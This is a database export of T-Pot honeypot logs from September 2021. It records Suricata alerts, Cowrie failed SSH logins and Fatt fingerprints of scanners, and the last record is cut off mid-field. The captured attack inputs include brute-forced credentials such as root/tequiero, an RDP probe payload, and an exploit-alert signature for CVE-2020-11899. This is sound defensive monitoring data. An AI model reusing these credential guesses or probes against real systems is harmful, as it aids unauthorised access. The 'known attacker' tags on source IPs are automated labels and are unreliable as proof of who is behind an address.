30302	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:34:18.696419+03	2021-09-20 14:45:02.826142+03	{"_id": "zQb8AnwBvYTbRNuEQjso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:18.618403+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1675256049332131, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 45562, "dest_port": 3389, "timestamp": "2021-09-20T11:34:18.696419Z", "@timestamp": "2021-09-20T11:34:18.696Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30303	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:34:08.446597+03	2021-09-20 14:45:02.827142+03	{"_id": "tAb8AnwBvYTbRNuEHDsk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 47050, "dest_port": 22, "timestamp": "2021-09-20T11:34:08.446597", "@timestamp": "2021-09-20T11:34:08.446Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30304	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:34:09.196475+03	2021-09-20 14:45:02.828143+03	{"_id": "twb8AnwBvYTbRNuEHTtQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [teamspeak/123456] failed", "session": "722b1ad4fa39", "@version": "1", "password": "123456", "username": "teamspeak", "timestamp": "2021-09-20T11:34:09.196475Z", "@timestamp": "2021-09-20T11:34:09.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
30305	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:33:59.319584+03	2021-09-20 14:45:02.830142+03	{"_id": "nQb7AnwBvYTbRNuE9js8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "269438a3cbe4", "@version": "1", "duration": 1.6110279560089111, "timestamp": "2021-09-20T11:33:59.319584Z", "@timestamp": "2021-09-20T11:33:59.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
30306	222.186.30.76	109.199.241.180	Suricata	2021-09-20 14:33:53.390533+03	2021-09-20 14:45:02.831142+03	{"_id": "iQb7AnwBvYTbRNuE4Dtz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.186.30.76", "dest_ip": "192.168.20.116", "flow_id": 885549000839928, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43141, "dest_port": 22, "timestamp": "2021-09-20T11:33:53.390533Z", "@timestamp": "2021-09-20T11:33:53.390Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30327	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:34:31.517421+03	2021-09-20 14:45:02.858142+03	{"_id": "JAb8AnwBvYTbRNuEdDz8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:34:31.517421Z", "@timestamp": "2021-09-20T11:34:31.517Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30307	222.186.30.76	109.199.241.180	Fatt	2021-09-20 14:33:53.390598+03	2021-09-20 14:45:02.832143+03	{"_id": "iwb7AnwBvYTbRNuE4TuF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "222.186.30.76", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 43141, "dest_port": 22, "timestamp": "2021-09-20T11:33:53.390598", "@timestamp": "2021-09-20T11:33:53.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30308	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:33:53.390992+03	2021-09-20 14:45:02.833142+03	{"_id": "jAb7AnwBvYTbRNuE4jux", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "5251f8027442", "@version": "1", "timestamp": "2021-09-20T11:33:53.390992Z", "@timestamp": "2021-09-20T11:33:53.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30309	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:33:54.410256+03	2021-09-20 14:45:02.835142+03	{"_id": "jQb7AnwBvYTbRNuE5Dtb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:33:54.410256Z", "@timestamp": "2021-09-20T11:33:54.410Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30310	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:33:54.500329+03	2021-09-20 14:45:02.836142+03	{"_id": "jgb7AnwBvYTbRNuE5jua", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "5251f8027442", "@version": "1", "duration": 1.3660106658935547, "timestamp": "2021-09-20T11:33:54.500329Z", "@timestamp": "2021-09-20T11:33:54.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30311	5.182.39.25	109.199.241.180	Suricata	2021-09-20 14:33:57.766937+03	2021-09-20 14:45:02.837141+03	{"_id": "kAb7AnwBvYTbRNuE8DsW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "OpenSSH_7.4"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.182.39.25", "dest_ip": "192.168.20.116", "flow_id": 1805606157933118, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50980, "dest_port": 22, "timestamp": "2021-09-20T11:33:57.766937Z", "@timestamp": "2021-09-20T11:33:57.766Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30312	5.182.39.25	109.199.241.180	Fatt	2021-09-20 14:33:57.767332+03	2021-09-20 14:45:02.838142+03	{"_id": "kwb7AnwBvYTbRNuE8Tso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.182.39.25", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-ed25519,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "eecf4e14dea2b648c33ba89ab1b585c7", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc", "ceastc": "chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc", "client": "SSH-2.0-OpenSSH_7.4", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50980, "dest_port": 22, "timestamp": "2021-09-20T11:33:57.767332", "@timestamp": "2021-09-20T11:33:57.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30315	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:33:57.768025+03	2021-09-20 14:45:02.842144+03	{"_id": "mwb7AnwBvYTbRNuE8jtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-gcm@openssh.com", "aes256-gcm@openssh.com", "aes128-cbc", "aes192-cbc", "aes256-cbc"], "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eecf4e14dea2b648c33ba89ab1b585c7", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group16-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-ed25519", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: eecf4e14dea2b648c33ba89ab1b585c7", "session": "269438a3cbe4", "@version": "1", "timestamp": "2021-09-20T11:33:57.768025Z", "@timestamp": "2021-09-20T11:33:57.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
30316	5.182.39.25	109.199.241.180	Cowrie	2021-09-20 14:33:58.19621+03	2021-09-20 14:45:02.843143+03	{"_id": "nAb7AnwBvYTbRNuE8jtU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "5.182.39.25", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.182.39.25", "eventid": "cowrie.login.failed", "message": "login attempt [root/tequiero] failed", "session": "269438a3cbe4", "@version": "1", "password": "tequiero", "username": "root", "timestamp": "2021-09-20T11:33:58.196210Z", "@timestamp": "2021-09-20T11:33:58.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
30317	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:28.919729+03	2021-09-20 14:45:02.845144+03	{"_id": "AAb8AnwBvYTbRNuEbTwo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:34:28.919729Z", "@timestamp": "2021-09-20T11:34:28.919Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
30318	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 14:34:29.416826+03	2021-09-20 14:45:02.847143+03	{"_id": "_wb8AnwBvYTbRNuEbTso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:34:28.919729+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246489651377, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", 